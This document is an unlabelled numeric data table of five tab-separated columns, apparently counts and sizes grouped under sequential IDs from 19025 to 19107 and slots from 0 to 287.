19025	164	1	0	0
19025	204	1	0	0
19025	208	2	0	0
19025	220	1	0	0
19025	221	1	0	0
19025	236	1	0	0
19025	261	1	0	0
19026	12	1	0	0
19026	41	2	0	0
19026	46	20	0	1410
19026	62	2	0	416
19026	70	1	0	0
19026	84	1	0	0
19026	117	2	0	115
19026	137	1	0	0
19026	159	1	0	115
19026	185	3	0	0
19026	204	1	0	0
19026	233	1	0	0
19026	238	1	0	0
19026	253	1	0	0
19026	254	1	0	0
19026	255	1	0	0
19026	258	1	0	0
19026	260	1	0	0
19027	46	31	0	2180
19027	61	1	0	0
19027	126	1	0	0
19027	139	1	1	87666
19027	142	1	0	0
19027	146	2	0	115
19027	151	1	0	0
19027	181	1	0	0
19027	195	1	0	0
19027	247	1	0	0
19027	248	1	0	0
19027	249	1	0	0
19027	250	1	0	0
19027	258	2	1	87666
19027	263	1	0	0
19028	24	1	0	0
19028	40	2	0	0
19028	41	1	0	0
19028	76	1	0	0
19028	78	1	0	0
19028	79	1	1	87666
19028	88	1	0	0
19028	142	1	0	0
19028	143	1	0	0
19028	144	1	0	0
19028	148	1	0	0
19028	149	1	0	0
19028	160	1	0	0
19028	163	1	0	0
19028	172	1	0	0
19028	174	1	0	0
19028	181	1	0	0
19028	228	2	0	115
19028	259	1	0	0
19028	270	1	0	0
19028	275	1	0	0
19028	282	2	0	115
19029	34	1	0	0
19029	40	1	0	0
19029	41	2	0	0
19029	46	1	0	0
19029	78	1	0	0
19029	95	1	0	0
19029	98	1	0	0
19029	104	1	0	0
19029	128	3	0	0
19029	162	1	0	0
19029	184	1	0	0
19029	188	1	0	0
19029	192	1	0	0
19029	197	2	0	115
19029	217	1	0	0
19029	251	1	0	0
19029	280	2	0	416
19029	287	1	0	0
19030	15	1	0	0
19030	20	1	0	0
19030	26	1	0	0
19030	32	4	0	182543
19030	40	1	0	0
19030	58	4	0	182543
19030	62	2	0	115
19030	65	1	0	0
19030	69	1	0	0
19030	73	1	0	0
19030	142	1	0	0
19030	161	2	0	115
19030	196	1	0	0
19030	230	1	0	0
19030	283	1	0	0
19031	9	2	0	115
19031	32	1	0	0
19031	36	1	0	0
19031	37	1	0	0
19031	130	2	0	115
19031	143	1	0	0
19031	198	1	0	0
19031	208	1	0	0
19031	209	2	0	0
19031	220	2	1	741
19031	224	1	0	0
19031	231	1	0	0
19031	233	1	0	0
19031	239	1	0	0
19031	242	3	0	0
19031	248	2	0	115
19031	254	1	0	0
19031	268	1	0	0
19031	275	1	0	0
19031	276	1	0	0
19032	3	2	0	0
19032	16	1	0	0
19032	23	1	0	0
19032	37	1	0	0
19032	60	1	0	0
19032	61	1	0	0
19032	62	1	0	0
19032	105	1	0	0
19032	132	1	0	0
19032	137	1	0	0
19032	147	1	0	0
19032	168	1	0	0
19032	197	2	0	0
19032	234	2	0	115
19032	253	1	0	0
19032	257	2	0	115
19032	277	2	0	0
19033	3	1	0	0
19033	19	1	0	0
19033	35	2	0	0
19033	36	1	0	0
19033	37	1	0	0
19033	38	2	0	0
19033	39	1	0	0
19033	40	3	0	0
19033	41	2	0	0
19033	42	2	0	0
19033	43	3	0	0
19033	44	4	0	0
19033	45	4	0	0
19033	47	2	0	0
19033	48	2	0	0
19033	49	2	0	0
19033	50	4	0	0
19033	51	3	0	0
19033	52	4	0	0
19033	53	2	0	0
19033	54	2	0	0
19033	55	3	0	0
19033	56	1	0	0
19033	57	5	0	0
19033	58	2	0	0
19033	59	2	0	0
19033	60	2	0	0
19033	61	4	0	0
19033	62	1	0	0
19033	63	3	0	0
19033	64	2	0	0
19033	91	2	0	115
19033	126	1	0	0
19033	133	2	0	416
19033	155	1	0	0
19033	159	1	0	0
19033	163	1	0	0
19033	187	1	0	0
19033	216	2	0	115
19033	229	1	0	0
19033	231	1	0	0
19033	258	1	0	0
19033	259	1	0	0
19033	266	1	0	0
19033	269	2	0	0
19033	270	1	0	0
19033	277	1	0	0
19033	279	1	0	0
19033	286	1	0	0
19034	54	1	0	0
19034	65	1	0	0
19034	66	1	0	0
19034	75	2	0	0
19034	77	1	0	0
19034	80	2	0	0
19034	90	1	0	0
19034	91	1	0	0
19034	136	2	0	115
19034	168	1	0	0
19034	169	2	0	0
19034	180	2	0	115
19034	184	1	0	0
19034	191	2	0	115
19034	236	1	0	0
19034	241	1	0	0
19034	271	1	0	0
19034	281	1	0	0
19035	6	1	0	0
19035	46	1	0	0
19035	48	1	0	0
19035	57	3	0	0
19035	77	1	0	0
19035	78	1	0	0
19035	86	1	0	0
19035	91	2	0	416
19035	115	3	0	115
19035	140	1	0	0
19035	143	1	0	0
19035	150	2	0	115
19035	175	3	0	0
19035	179	1	0	0
19035	189	1	0	0
19035	205	2	0	0
19035	211	1	0	0
19035	219	1	0	0
19035	229	1	0	0
19035	241	1	0	0
19035	249	1	0	0
19035	263	2	0	115
19035	268	1	0	0
19035	276	2	0	115
19036	37	1	0	0
19036	38	1	0	0
19036	39	1	0	0
19036	40	1	0	0
19036	46	1	0	0
19036	94	1	0	0
19036	103	1	0	0
19036	111	1	0	0
19036	118	1	0	0
19036	122	1	0	0
19036	146	1	0	0
19036	152	1	0	0
19036	153	1	0	0
19036	165	2	0	0
19036	169	1	0	0
19036	186	1	0	0
19036	200	1	0	0
19036	211	1	0	0
19036	228	2	0	115
19036	229	1	0	0
19036	230	1	0	0
19036	236	2	0	115
19036	239	1	0	0
19036	275	1	0	0
19036	276	1	0	0
19037	40	1	0	0
19037	42	1	0	0
19037	56	1	0	0
19037	85	2	0	115
19037	90	1	0	0
19037	91	1	0	115
19037	123	2	0	0
19037	146	1	0	0
19037	149	1	0	0
19037	194	2	0	115
19037	213	2	0	0
19037	214	1	0	0
19037	218	1	0	0
19037	220	1	0	0
19037	236	1	0	0
19037	257	1	0	0
19037	274	1	0	0
19038	9	1	0	0
19038	40	2	0	0
19038	51	2	0	0
19038	54	1	0	0
19038	57	2	0	0
19038	74	1	0	0
19038	87	2	0	0
19038	103	1	0	0
19038	110	1	0	0
19038	116	1	0	0
19038	131	1	0	0
19038	142	1	0	0
19038	166	2	0	115
19038	168	1	0	0
19038	178	1	0	0
19038	190	1	0	0
19038	199	1	0	0
19038	210	1	0	0
19038	219	1	0	0
19038	246	1	0	0
19038	267	1	0	0
19038	275	2	0	416
19038	277	1	0	0
19038	278	4	0	0
19039	16	1	0	0
19039	33	1	0	0
19039	37	1	0	0
19039	41	1	0	0
19039	44	1	0	0
19039	83	1	0	0
19039	129	1	0	0
19039	133	1	0	0
19039	136	1	0	0
19039	149	2	0	115
19039	151	2	0	115
19039	157	1	0	0
19039	170	1	0	0
19039	172	1	0	0
19039	177	1	0	0
19039	181	1	0	0
19039	188	1	0	0
19039	191	1	0	0
19039	199	1	0	0
19039	211	1	0	0
19039	218	2	1	87718
19039	220	1	0	0
19039	224	1	0	0
19039	232	1	0	0
19039	234	1	0	0
19039	235	1	0	0
19039	237	1	0	0
19039	242	1	0	0
19039	254	4	0	0
19039	259	2	0	115
19039	260	1	0	0
19039	279	1	0	0
19039	280	1	0	0
19040	17	1	0	0
19040	31	1	0	0
19040	37	2	0	0
19040	77	1	0	0
19040	78	1	0	0
19040	131	1	0	0
19040	140	1	0	0
19040	177	1	0	0
19040	179	2	0	115
19040	198	2	0	115
19040	220	1	0	0
19040	237	2	0	115
19040	238	2	0	115
19040	252	2	0	115
19041	0	1	0	0
19041	9	1	0	0
19041	35	1	0	0
19041	36	1	0	0
19041	40	3	0	0
19041	48	2	0	115
19041	93	1	0	0
19041	107	2	0	115
19041	112	1	0	0
19041	116	1	0	0
19041	172	1	0	0
19041	189	1	0	0
19041	199	2	0	115
19041	219	2	0	115
19041	230	1	0	0
19041	245	2	0	115
19041	270	1	0	0
19041	283	1	0	0
19042	10	1	0	0
19042	18	1	0	0
19042	22	4	2	175384
19042	26	1	0	0
19042	27	2	1	87718
19042	36	1	0	0
19042	42	1	0	0
19042	63	1	0	0
19042	82	1	0	0
19042	109	1	0	0
19042	112	2	0	115
19042	115	1	0	0
19042	129	2	0	0
19042	132	1	0	0
19042	172	1	0	0
19042	180	1	0	0
19042	188	1	0	0
19042	191	2	0	0
19042	197	1	0	0
19042	200	1	0	0
19042	204	1	0	0
19042	205	1	0	0
19042	207	1	0	0
19042	211	1	0	0
19042	214	1	0	0
19042	231	1	0	0
19043	11	2	0	115
19043	74	1	0	0
19043	77	1	0	0
19043	78	1	0	0
19043	82	1	0	0
19043	102	1	0	0
19043	103	3	0	0
19043	114	2	0	0
19043	122	2	0	0
19043	136	1	0	0
19043	187	1	0	0
19043	212	1	0	0
19043	222	1	0	0
19043	223	2	0	115
19043	231	2	0	115
19043	261	2	0	1066173
19044	38	1	0	0
19044	41	1	0	0
19044	42	1	0	0
19044	54	1	0	0
19044	57	2	0	0
19044	58	1	0	0
19044	65	2	0	115
19044	139	1	0	0
19044	195	1	0	0
19045	22	1	0	0
19045	36	1	0	0
19045	39	1	0	0
19045	78	1	0	0
19045	104	1	0	0
19045	124	3	0	115
19045	140	1	0	0
19045	171	1	0	0
19045	216	2	1	87718
19045	218	2	0	0
19045	261	1	0	0
19045	265	1	0	0
19045	275	2	1	87718
19046	37	1	0	0
19046	39	1	0	0
19046	47	1	0	0
19046	59	1	0	0
19046	80	1	0	0
19046	129	2	0	0
19046	130	1	0	0
19046	149	2	0	115
19046	154	1	0	0
19046	166	1	0	0
19046	170	1	0	0
19046	184	1	0	0
19046	192	1	0	0
19046	212	1	0	0
19046	218	2	0	0
19046	245	1	0	0
19046	253	1	0	0
19046	279	1	0	0
19047	18	2	0	0
19047	26	2	0	115
19047	49	1	0	0
19047	58	1	0	0
19047	65	1	0	0
19047	67	1	0	0
19047	71	1	0	0
19047	77	1	0	0
19047	95	2	0	115
19047	145	1	0	0
19047	166	1	0	0
19047	198	1	0	0
19047	210	1	0	0
19047	220	1	0	0
19047	243	1	0	0
19047	252	2	1	87666
19047	256	1	0	0
19048	40	1	0	0
19048	41	4	0	0
19048	57	1	0	0
19048	62	1	0	0
19048	68	1	0	0
19048	75	1	0	0
19048	122	2	0	115
19048	123	1	0	0
19048	141	1	0	0
19048	159	1	0	0
19048	161	1	0	0
19048	167	1	0	0
19048	206	1	0	0
19048	239	2	1	87666
19048	241	3	0	0
19048	242	5	0	0
19048	243	4	0	0
19048	267	2	0	115
19048	273	1	0	0
19048	279	1	0	0
19048	287	1	0	0
19049	2	2	0	115
19049	8	1	0	0
19049	11	1	0	0
19049	27	2	0	0
19049	28	1	0	0
19049	89	1	0	0
19049	112	1	0	0
19049	189	1	0	0
19049	203	2	0	0
19049	248	1	0	0
19049	260	1	0	0
19049	283	1	0	0
19050	6	2	0	115
19050	41	1	0	0
19050	65	8	0	345
19050	66	8	6	526216
19050	99	1	0	0
19050	103	2	0	115
19050	104	1	0	0
19050	123	2	0	115
19050	132	1	0	0
19050	139	2	0	115
19050	154	1	0	0
19050	166	2	0	115
19050	194	1	0	0
19050	227	3	0	115
19050	287	1	0	0
19051	44	3	0	0
19051	52	1	0	0
19051	67	1	0	0
19051	77	1	0	0
19051	87	1	0	0
19051	113	1	0	0
19051	137	1	0	0
19051	224	1	0	0
19051	232	1	0	0
19051	234	1	0	0
19051	236	2	0	115
19051	246	1	0	0
19051	255	1	0	0
19051	272	1	0	0
19052	14	1	0	0
19052	33	1	0	0
19052	42	1	0	0
19052	44	1	0	0
19052	45	1	0	0
19052	67	1	0	0
19052	83	3	0	115
19052	94	1	0	0
19052	101	1	0	0
19052	145	1	0	0
19052	180	1	0	0
19052	188	2	0	0
19052	220	1	0	0
19052	223	1	0	0
19052	229	1	0	0
19052	235	1	0	0
19052	239	2	0	115
19052	241	2	0	115
19052	269	1	0	0
19053	19	1	0	0
19053	39	1	0	0
19053	84	1	0	0
19053	90	1	0	0
19053	95	1	0	0
19053	108	2	0	115
19053	128	1	0	0
19053	137	1	0	0
19053	154	1	0	0
19053	159	1	0	0
19053	160	1	0	0
19053	192	1	0	0
19053	218	1	0	0
19053	220	1	0	0
19053	247	1	0	0
19053	258	1	0	0
19053	260	1	0	0
19053	263	2	0	0
19053	275	2	0	115
19054	41	1	0	0
19054	42	1	0	0
19054	65	1	0	0
19054	68	1	0	0
19054	77	1	0	0
19054	78	1	0	0
19054	82	2	0	0
19054	95	1	0	0
19054	100	1	0	0
19054	148	1	0	0
19054	168	1	0	0
19054	187	1	0	0
19054	194	1	0	0
19054	199	2	0	0
19054	207	2	0	0
19054	212	1	0	0
19054	213	1	0	0
19054	226	1	0	0
19054	232	1	0	0
19054	241	1	0	0
19054	257	1	0	0
19054	268	2	0	115
19054	286	1	0	0
19055	37	1	0	0
19055	38	1	0	0
19055	40	2	0	115
19055	59	1	0	0
19055	93	2	0	0
19055	101	1	0	0
19055	251	1	0	0
19055	284	1	0	0
19056	12	1	0	0
19056	21	2	0	115
19056	39	2	0	0
19056	40	2	0	0
19056	42	1	0	0
19056	80	1	0	0
19056	86	1	0	0
19056	92	1	0	0
19056	111	1	0	0
19056	128	3	0	115
19056	165	1	0	0
19056	175	1	0	0
19056	185	2	0	0
19056	221	2	0	0
19056	246	1	0	0
19056	264	1	0	0
19056	275	1	0	0
19057	39	2	0	115
19057	45	2	0	0
19057	51	1	0	0
19057	71	1	0	0
19057	78	1	0	0
19057	88	1	0	0
19057	107	1	0	0
19057	164	2	0	0
19057	180	2	0	0
19057	181	2	0	0
19057	220	1	0	0
19057	231	1	0	0
19057	286	1	0	0
19058	0	1	0	0
19058	25	2	0	115
19058	32	1	0	0
19058	39	2	0	0
19058	106	1	0	0
19058	140	2	0	115
19058	171	2	0	115
19058	177	1	0	0
19058	186	2	0	115
19058	222	1	0	0
19058	233	1	0	0
19058	287	1	0	0
19059	12	1	0	0
19059	43	1	0	0
19059	46	1	0	0
19059	53	3	0	115
19059	133	1	0	0
19059	161	1	0	0
19059	182	1	0	0
19059	183	1	0	0
19059	184	2	0	115
19059	192	1	0	0
19059	194	2	0	115
19059	217	1	0	0
19059	226	1	0	0
19059	231	1	0	0
19059	236	2	0	0
19059	239	1	0	0
19059	258	1	0	0
19059	261	1	0	0
19060	20	1	0	0
19060	27	1	0	0
19060	36	1	0	0
19060	180	2	0	0
19060	190	1	0	0
19060	219	2	0	115
19060	241	1	0	0
19060	271	2	1	87668
19060	274	1	0	0
19060	285	1	0	0
19061	23	1	0	0
19061	41	1	0	0
19061	42	1	0	0
19061	45	2	0	0
19061	52	1	0	0
19061	151	1	0	0
19061	170	2	0	641
19061	171	2	0	0
19061	219	2	0	0
19061	223	2	0	115
19061	242	1	0	0
19061	284	1	0	0
19062	7	1	0	0
19062	38	1	0	0
19062	71	1	0	0
19062	116	1	0	0
19062	129	1	0	0
19062	191	1	0	0
19062	221	2	0	115
19062	274	2	0	115
19062	282	1	0	0
19062	283	1	0	0
19063	4	2	0	0
19063	6	1	0	0
19063	14	1	0	0
19063	39	2	0	0
19063	52	2	0	0
19063	113	1	0	0
19063	167	2	0	0
19063	179	1	0	0
19063	181	1	0	0
19063	202	2	0	115
19063	210	1	0	0
19063	256	1	0	0
19063	271	1	0	0
19063	272	1	0	0
19063	275	1	0	0
19064	47	1	0	0
19064	73	1	0	0
19064	90	1	0	0
19064	112	1	0	0
19064	113	1	0	0
19064	171	2	0	0
19064	177	2	0	0
19064	180	1	0	0
19064	194	2	0	115
19064	202	1	0	0
19064	217	2	0	0
19064	220	1	0	0
19064	223	1	0	0
19064	246	1	0	0
19064	254	3	0	115
19064	274	1	0	0
19065	4	1	0	0
19065	16	1	0	0
19065	33	2	0	115
19065	42	1	0	0
19065	92	1	0	0
19065	185	1	0	0
19065	186	1	0	0
19065	190	2	0	115
19065	202	1	0	0
19065	219	1	0	0
19065	249	1	0	0
19065	287	1	0	0
19066	40	3	0	115
19066	42	2	0	0
19066	73	1	0	0
19066	78	1	0	0
19066	131	1	0	0
19066	146	1	0	0
19066	147	1	0	0
19066	169	1	0	0
19066	219	1	0	0
19066	223	1	0	0
19066	274	1	0	0
19067	36	2	0	115
19067	42	2	0	0
19067	58	2	0	115
19067	71	1	0	0
19067	92	1	0	0
19067	94	2	0	115
19067	102	1	0	0
19067	135	1	0	0
19067	145	1	0	0
19067	230	1	0	0
19067	278	2	0	0
19068	36	2	0	115
19068	40	1	0	0
19068	41	1	0	0
19068	43	1	0	0
19068	53	1	0	0
19068	96	1	0	0
19068	98	2	0	115
19068	117	3	0	115
19068	157	2	0	115
19068	161	1	0	0
19068	231	1	0	0
19068	255	2	0	115
19069	40	2	0	0
19069	53	2	0	115
19069	84	1	0	0
19069	106	1	0	0
19069	132	2	0	115
19069	133	2	0	0
19069	134	1	0	0
19069	139	1	0	0
19069	146	2	0	115
19069	258	1	0	0
19069	282	1	0	0
19069	284	1	0	0
19070	9	2	0	0
19070	11	1	0	0
19070	12	1	0	0
19070	14	1	0	0
19070	25	3	0	115
19070	39	1	0	0
19070	87	1	0	0
19070	88	2	0	0
19070	118	1	0	0
19070	129	2	0	0
19070	131	1	0	0
19070	152	1	0	0
19070	175	1	0	0
19070	216	2	0	115
19070	223	2	0	115
19070	226	2	0	0
19070	237	1	0	0
19070	238	4	3	263108
19070	239	2	1	87720
19070	251	2	0	0
19070	253	1	0	0
19070	270	2	0	115
19070	282	1	0	0
19070	287	1	0	0
19071	11	2	0	115
19071	22	1	0	0
19071	41	1	0	0
19071	42	2	0	0
19071	64	1	0	0
19071	96	1	0	0
19071	109	1	0	0
19071	116	1	0	0
19071	161	1	0	0
19071	197	2	0	0
19071	203	2	0	0
19071	204	1	0	0
19071	227	2	0	115
19071	237	1	0	0
19071	271	1	0	115
19071	272	1	0	0
19071	275	1	0	0
19071	280	1	0	0
19072	8	1	0	0
19072	39	1	0	0
19072	41	1	0	0
19072	43	1	0	0
19072	48	1	0	0
19072	81	1	0	0
19072	89	2	0	0
19072	187	1	0	0
19072	189	1	0	0
19072	194	1	0	0
19072	219	1	0	0
19072	230	1	0	0
19072	247	1	0	0
19072	266	2	0	115
19072	285	1	0	0
19073	111	1	0	0
19073	115	1	0	0
19073	161	2	0	115
19073	197	1	0	0
19073	208	1	0	0
19073	215	2	0	0
19073	227	1	0	0
19073	238	1	0	0
19073	261	1	0	0
19073	262	1	0	0
19073	280	2	0	115
19074	40	4	0	115
19074	60	2	0	288600
19074	61	2	0	0
19074	62	1	0	0
19074	78	1	0	0
19074	97	1	0	0
19074	114	1	0	0
19074	133	1	0	0
19074	137	1	0	0
19074	149	1	0	0
19074	179	1	0	0
19074	182	1	0	0
19074	188	1	0	0
19074	205	1	0	0
19074	214	1	0	185
19074	216	1	0	0
19074	218	1	0	0
19074	223	1	0	0
19074	228	1	0	0
19075	1	2	0	115
19075	26	1	0	0
19075	27	1	0	0
19075	31	1	0	0
19075	75	1	0	0
19075	83	1	0	0
19075	95	1	0	0
19075	110	2	0	0
19075	130	1	0	0
19075	173	1	0	0
19075	184	1	0	0
19075	186	1	0	0
19075	202	1	0	0
19075	203	1	0	0
19075	213	2	0	0
19075	218	1	0	0
19075	235	1	0	0
19075	239	1	0	0
19075	245	2	0	0
19075	246	3	0	0
19075	250	1	0	0
19075	256	1	0	0
19075	262	2	0	2
19075	271	2	0	288600
19076	7	2	0	115
19076	37	1	0	0
19076	39	1	0	0
19076	52	2	0	0
19076	53	2	0	0
19076	104	1	0	0
19076	128	2	0	115
19076	172	2	0	0
19076	179	1	0	0
19076	181	3	2	12314
19076	209	1	0	0
19076	231	1	0	0
19077	41	2	0	0
19077	43	2	0	0
19077	55	1	0	0
19077	57	2	0	115
19077	66	1	0	0
19077	151	1	0	0
19077	206	2	0	115
19077	213	2	0	115
19077	230	1	0	0
19078	45	1	0	0
19078	46	1	0	0
19078	80	2	0	115
19078	94	2	0	115
19078	155	3	0	115
19078	172	11	8	701552
19078	238	2	0	115
19078	239	1	0	0
19078	244	2	0	0
19078	251	1	0	0
19079	50	1	0	0
19079	51	1	0	0
19079	60	2	0	0
19079	62	2	0	0
19079	72	1	0	0
19079	117	2	0	115
19079	121	1	0	0
19079	151	1	0	0
19079	154	1	0	0
19079	201	2	0	0
19079	217	1	0	0
19079	230	2	0	1306
19079	260	1	0	0
19079	262	3	0	0
19079	269	1	0	0
19079	270	1	0	0
19079	272	1	0	0
19079	274	2	0	0
19079	275	1	0	0
19079	277	1	0	0
19079	278	1	0	0
19080	6	1	0	0
19080	53	1	0	0
19080	111	1	0	0
19080	131	2	0	115
19080	144	1	0	0
19080	153	1	0	0
19080	155	1	0	0
19080	181	1	0	0
19080	185	1	0	0
19080	187	1	0	0
19080	193	1	0	0
19080	237	1	0	0
19080	240	2	0	0
19080	260	1	0	0
19080	262	1	0	0
19080	280	1	0	0
19080	285	1	0	0
19080	286	5	0	0
19080	287	5	0	0
19081	0	5	0	0
19081	1	4	1	87668
19081	4	1	0	0
19081	9	7	0	0
19081	10	5	0	0
19081	11	5	0	0
19081	19	1	0	0
19081	35	1	0	0
19081	55	1	0	0
19081	59	1	0	0
19081	69	1	0	0
19081	72	6	3	263108
19081	83	1	0	0
19081	104	1	0	0
19081	124	1	0	0
19081	140	2	0	0
19081	141	1	0	0
19081	162	1	0	0
19081	179	2	1	87668
19081	182	2	0	115
19081	208	5	0	0
19081	209	5	0	0
19081	210	5	0	0
19081	211	5	0	0
19081	212	2	0	0
19081	213	4	0	0
19081	235	1	0	0
19081	245	1	0	0
19081	251	1	0	0
19081	272	3	0	1155694
19081	274	1	0	0
19081	280	1	0	0
19082	80	1	0	0
19082	81	1	0	0
19082	87	1	0	0
19082	138	1	0	0
19082	144	1	0	0
19082	173	1	0	0
19082	206	3	0	0
19082	235	1	0	0
19082	241	2	0	115
19082	248	1	0	0
19082	251	1	0	0
19082	266	1	0	0
19083	51	2	0	0
19083	87	1	0	0
19083	94	1	0	0
19083	99	1	0	0
19083	113	1	0	0
19083	115	1	0	0
19083	130	2	0	115
19083	146	1	0	0
19083	163	2	0	0
19083	180	1	0	1066173
19084	7	1	0	0
19084	15	1	0	0
19084	16	2	0	0
19084	40	2	0	115
19084	57	1	0	0
19084	60	1	0	0
19084	62	1	0	0
19084	105	1	0	0
19084	122	1	0	0
19084	132	1	0	0
19084	192	1	0	0
19084	200	1	0	0
19084	256	1	0	0
19084	266	1	0	0
19084	286	1	0	0
19085	12	1	0	0
19085	33	1	0	0
19085	37	1	0	0
19085	50	1	0	0
19085	54	2	0	115
19085	57	1	0	0
19085	62	1	0	0
19085	111	1	0	0
19085	117	1	0	0
19085	130	1	0	0
19085	175	4	0	230
19086	9	1	0	0
19086	43	1	0	0
19086	49	1	0	0
19086	57	1	0	0
19086	115	2	0	115
19086	152	1	0	0
19086	171	1	0	0
19086	190	2	0	115
19086	279	2	1	87720
19086	280	1	0	0
19087	10	2	0	0
19087	23	1	0	0
19087	27	3	2	0
19087	28	2	1	0
19087	59	1	0	0
19087	60	5	0	0
19087	61	6	0	0
19087	62	5	0	0
19087	63	7	0	0
19087	166	1	0	0
19087	174	1	0	0
19087	195	2	0	115
19087	198	1	0	0
19087	220	1	0	0
19087	238	1	0	0
19088	23	1	0	0
19088	33	2	0	115
19088	48	1	0	0
19088	52	1	0	0
19088	58	2	0	0
19088	67	1	0	0
19088	104	2	1	87720
19088	138	1	0	0
19088	152	1	0	0
19088	154	1	0	0
19088	159	1	0	0
19088	164	1	0	0
19088	195	2	0	115
19088	204	1	0	0
19088	205	1	0	0
19088	220	1	0	0
19088	238	3	0	0
19088	257	2	0	0
19088	264	2	0	0
19088	272	4	0	175440
19088	274	2	0	0
19088	275	2	0	0
19088	284	1	0	0
19088	285	2	0	0
19088	287	4	0	175440
19089	22	2	0	115
19089	43	1	0	0
19089	53	1	0	0
19089	63	1	0	0
19089	72	1	0	0
19089	81	1	0	0
19089	116	1	0	0
19089	119	1	0	0
19089	156	1	0	0
19089	210	1	0	0
19089	214	2	0	115
19090	23	1	0	0
19090	56	1	0	0
19090	141	3	0	115
19090	204	1	0	0
19090	209	1	0	0
19090	244	1	0	0
19090	247	1	0	0
19091	8	1	0	0
19091	15	2	0	115
19091	53	1	0	0
19091	106	1	0	0
19091	124	1	0	0
19091	126	3	0	115
19091	170	1	0	0
19091	198	1	0	0
19091	245	1	0	0
19091	253	1	0	0
19091	275	3	0	0
19091	276	1	0	0
19092	63	2	0	0
19092	75	2	0	115
19092	97	1	0	0
19092	105	1	0	0
19092	161	1	0	0
19092	181	2	0	0
19092	205	1	0	0
19092	215	1	0	0
19092	227	1	0	0
19092	284	1	0	0
19093	1	1	0	1066173
19093	46	1	0	0
19093	58	2	0	0
19093	60	1	0	0
19093	89	3	0	115
19093	105	2	0	115
19093	168	1	0	0
19093	183	1	0	0
19093	207	1	0	0
19093	277	1	0	0
19094	11	2	0	115
19094	33	1	0	0
19094	41	1	0	0
19094	53	2	0	0
19094	67	2	0	115
19094	74	1	0	0
19094	118	1	0	115
19094	119	1	0	0
19094	192	1	0	0
19094	210	1	0	0
19094	217	1	0	0
19094	257	1	0	0
19094	268	2	0	115
19094	270	1	0	0
19095	4	1	0	0
19095	50	1	0	0
19095	53	1	0	0
19095	54	2	0	0
19095	56	1	0	0
19095	59	1	0	0
19095	125	2	0	0
19095	126	1	0	0
19095	134	1	0	0
19095	176	2	0	115
19095	180	1	0	0
19095	193	1	0	0
19095	254	1	0	0
19096	13	2	0	115
19096	37	3	0	115
19096	43	1	0	0
19096	50	1	0	0
19096	58	1	0	0
19096	71	2	0	0
19096	99	1	0	0
19096	112	1	0	0
19096	157	1	0	0
19096	158	1	0	0
19096	161	1	0	0
19096	168	2	0	115
19096	173	1	0	115
19096	282	1	0	0
19097	17	1	0	0
19097	25	1	0	0
19097	28	1	0	0
19097	38	1	0	0
19097	48	1	0	0
19097	72	1	0	0
19097	90	1	0	0
19097	107	1	0	0
19097	116	1	0	0
19097	155	1	0	0
19097	178	1	0	115
19097	181	1	0	0
19097	192	2	0	0
19097	195	1	0	0
19097	231	1	0	0
19097	240	1	0	0
19097	258	1	0	0
19097	280	1	0	0
19098	3	1	0	0
19098	40	2	0	115
19098	44	1	0	0
19098	53	1	0	0
19098	66	1	0	0
19098	74	1	0	0
19098	75	1	0	0
19098	79	1	0	0
19098	94	1	0	0
19098	105	1	0	0
19098	113	2	0	0
19098	118	1	0	0
19098	132	1	0	0
19098	133	6	0	0
19098	164	1	0	0
19098	222	1	0	0
19098	234	1	0	0
19098	246	2	0	288600
19098	268	1	0	0
19099	29	1	0	0
19099	33	1	0	0
19099	54	2	0	115
19099	56	1	0	0
19099	90	1	0	0
19099	126	1	0	0
19099	181	1	0	0
19099	207	1	0	0
19099	208	2	0	115
19099	210	2	0	115
19099	228	1	0	0
19099	251	1	0	0
19100	15	1	0	0
19100	44	1	0	0
19100	51	1	0	0
19100	75	1	0	0
19100	131	1	0	0
19100	193	1	0	0
19100	220	1	0	0
19100	230	1	0	0
19100	250	2	0	115
19100	258	1	0	0
19101	8	1	0	0
19101	15	1	0	0
19101	37	2	0	115
19101	51	1	0	0
19101	52	1	0	0
19101	55	1	0	0
19101	59	1	0	0
19101	141	2	0	115
19101	156	1	0	0
19101	180	1	0	0
19101	187	1	0	0
19101	195	1	0	0
19101	200	4	0	8252
19101	213	3	0	0
19101	214	4	1	87668
19101	222	3	0	0
19101	223	2	0	0
19101	227	1	0	0
19101	251	1	0	0
19101	264	1	0	0
19101	265	2	0	115
19102	16	2	0	115
19102	40	1	0	0
19102	47	1	0	0
19102	54	1	0	0
19102	57	3	0	0
19102	87	2	0	115
19102	99	1	0	0
19102	109	1	0	0
19102	142	2	0	115
19102	143	3	2	175388
19102	151	2	0	115
19102	207	1	0	0
19102	214	1	0	0
19102	219	1	0	0
19102	239	2	0	115
19102	251	2	0	115
19103	8	1	0	0
19103	33	1	0	0
19103	34	1	0	0
19103	46	20	0	1410
19103	54	2	0	0
19103	81	1	0	0
19103	105	1	0	0
19103	106	1	0	0
19103	107	1	0	0
19103	109	1	0	0
19103	113	3	0	0
19103	115	1	0	0
19103	121	2	0	0
19103	126	1	0	0
19103	130	1	0	0
19103	148	1	0	0
19103	189	1	0	0
19103	230	1	0	0
19103	237	1	0	0
19103	270	2	0	115
19103	272	1	0	0
19104	20	2	0	0
19104	37	2	0	115
19104	38	2	1	764
19104	46	20	0	1410
19104	52	2	0	0
19104	97	1	0	0
19104	104	1	0	351
19104	114	1	0	0
19104	119	3	0	115
19104	149	2	0	0
19104	170	1	0	0
19104	187	1	0	0
19104	231	1	0	0
19104	232	2	0	0
19104	243	1	0	115
19105	33	1	0	0
19105	46	20	0	1410
19105	47	2	0	115
19105	51	2	0	0
19105	55	1	0	0
19105	59	1	0	0
19105	66	1	0	0
19105	71	1	0	0
19105	121	1	0	0
19105	128	2	0	0
19105	170	1	0	0
19105	172	1	0	0
19105	183	1	0	0
19105	197	1	0	0
19105	207	1	0	0
19105	229	2	0	115
19105	230	2	1	87720
19105	241	1	0	0
19105	273	2	0	1045
19105	285	2	1	87668
19106	21	1	0	0
19106	24	1	0	0
19106	27	1	0	0
19106	39	1	0	0
19106	41	1	0	0
19106	46	20	0	1410
19106	55	1	0	0
19106	59	1	0	0
19106	68	1	0	0
19106	89	1	0	0
19106	142	1	0	0
19106	148	3	0	115
19106	153	2	0	230
19106	158	2	0	115
19106	160	1	0	0
19106	168	1	0	0
19106	182	1	0	0
19106	185	1	0	0
19106	194	1	0	0
19106	212	1	0	0
19106	240	1	0	0
19106	255	1	0	0
19106	276	2	0	0
19107	26	1	0	0
19107	33	1	0	0
19107	46	31	0	2180
19107	52	2	0	0
19107	53	1	0	0
19107	55	2	0	115
19107	57	1	0	0
19107	93	1	0	0
19107	97	2	0	115
19107	98	1	0	0
19107	131	1	0	0
19107	134	1	0	0
19107	139	1	0	0
19107	143	1	0	0
19107	160	1	0	0
19107	162	1	0	0
